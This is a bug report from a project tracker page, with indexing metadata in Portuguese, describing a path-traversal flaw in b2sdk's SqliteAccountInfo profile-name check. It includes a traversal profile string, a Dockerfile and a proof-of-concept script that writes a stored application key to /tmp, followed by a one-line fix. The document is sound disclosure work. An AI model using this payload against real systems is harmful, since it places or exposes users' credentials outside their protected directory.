SqliteAccountInfo profile name validation uses "re.match", so only the first character is checked

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@nazarli-shabnam já está trabalhando nisso.

Desde 5/11/2026.

  • #643 de @nazarli-shabnam — aberto

Avaliação

Dificuldade
2/5
Tempo estimado
1-3 horas
Facilidade para iniciantes
75/100
Tipo de issue
Bug
Clareza
Claramente especificada
Status de atividade
Ativa
Stack de tecnologia
python, sqlite
Domínio
backend, security

Direção de pesquisa

Leia b2sdk/_internal/account_info/sqlite_account_info.py, especialmente get_user_account_info_path e B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP, e depois inspecione o teste existente test_invalid_profile_name. Atualize a validação para rejeitar caracteres inválidos em qualquer parte do perfil e amplie o teste com um caractere inicial válido seguido por um sufixo malicioso; o trabalho estará concluído quando esses nomes gerarem ValueError e os perfis válidos continuarem funcionando.

Escrita pelo modelo de indexação a partir do texto da issue.

Descrição

Description

get_user_account_info_path validates profile with B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile) (b2sdk/_internal/account_info/sqlite_account_info.py:112), and the pattern at :30 is unanchored, so re.match accepts any string whose first character is in [a-zA-Z0-9_\-] and never looks at the rest. The value is then interpolated into the database path at :115, :136 and :142 and handed to os.open and sqlite3.connect without normalisation, so a name like a/../../../../../tmp/planted reaches the filesystem with its .. components intact and the credential database, which holds a live application key, is created outside the directory the SDK selected. Over a corpus of 108 names built from valid leading characters and 21 hostile suffixes, 103 were accepted and 50 of those resolved outside {XDG_CONFIG_HOME}/b2. Two things keep this low rather than worse: nothing inside the SDK passes untrusted input as profile, and on POSIX the first injected path component has to already exist as a directory, which the SDK never creates, so an attacker who can create it already has write access to the config directory. We are filing it in the open for that reason. It still seems worth fixing, because the pattern exists specifically to constrain this value and currently does not, and the one test covering it, test_invalid_profile_name, uses '&@(*$', whose first character is already outside the class, so it passes against the unanchored pattern.

Reproduction

On master @ ffa02b32 with Python 3.10.19, in a container built from a fresh clone at that ref, with the ~/.config/b2/db-a directory created to satisfy the POSIX precondition. Build with this Dockerfile, save the script below as poc.py, then run docker build -t b2poc . && docker run --rm -u 1001 -v "$PWD/poc.py:/poc.py:ro" b2poc python /poc.py:

FROM python:3.10.19-slim-bookworm
RUN apt-get update -qq && apt-get install -y -qq --no-install-recommends git >/dev/null
RUN git clone -q https://github.com/Backblaze/b2-sdk-python.git /src \
 && git -C /src checkout -q ffa02b3264bc0e7069ef2c8b25facd9a467e65a6 \
 && pip install --no-cache-dir -q /src
RUN useradd -m -u 1001 victim

import os, sqlite3
from b2sdk.v3 import SqliteAccountInfo

PROFILE = 'a/../../../../../tmp/planted'   # accepted by .match(), rejected by .fullmatch()
print('resolved :', SqliteAccountInfo.get_user_account_info_path(profile=PROFILE))
os.makedirs(os.path.expanduser('~/.config/b2/db-a'))   # POSIX needs the first component
info = SqliteAccountInfo(profile=PROFILE)
info.set_auth_data(
    account_id='acct', auth_token='tok', api_url='https://api', download_url='https://dl',
    absolute_minimum_part_size=5000000, recommended_part_size=100, realm='production',
    application_key='VICTIM-SECRET-KEY', s3_api_url='https://s3', application_key_id='keyid',
    allowed=SqliteAccountInfo.DEFAULT_ALLOWED)
print('created  :', os.path.realpath(info.filename))
print('key there:', sqlite3.connect('/tmp/planted.sqlite')
      .execute('select application_key from account').fetchone()[0])

resolved : /home/victim/.config/b2/db-a/../../../../../tmp/planted.sqlite
created  : /tmp/planted.sqlite
key there: VICTIM-SECRET-KEY
Suggested remediation

Validate the whole string:

--- a/b2sdk/_internal/account_info/sqlite_account_info.py
+++ b/b2sdk/_internal/account_info/sqlite_account_info.py
@@ -109,7 +109,7 @@ class SqliteAccountInfo(UrlPoolAccountInfo):
 
     @classmethod
     def get_user_account_info_path(cls, file_name: str | None = None, profile: str | None = None):
-        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.match(profile):
+        if profile and not B2_ACCOUNT_INFO_PROFILE_NAME_REGEXP.fullmatch(profile):
             raise ValueError(f'Invalid profile name: {profile}')

One adjacent thing I noticed while reproducing this, which is separate and not addressed by the above: _validate_database (:144) only calls _create_database when the file does not already exist, and _create_database is the only place mode 0600 is set, so a database file that is already present keeps its permissions. Starting from a mode 0666 file, the mode after credentials were stored was still 0o666 and the application key was readable from it.

Credits
  • Found by OSTIF using AI with their own harness.
  • Manually verified, fixed, and reported by Shielder.
Linguagem predominante
Python
Estrelas
214
Forks
68
Merge médio
51min
PRs com merge (30d)
6

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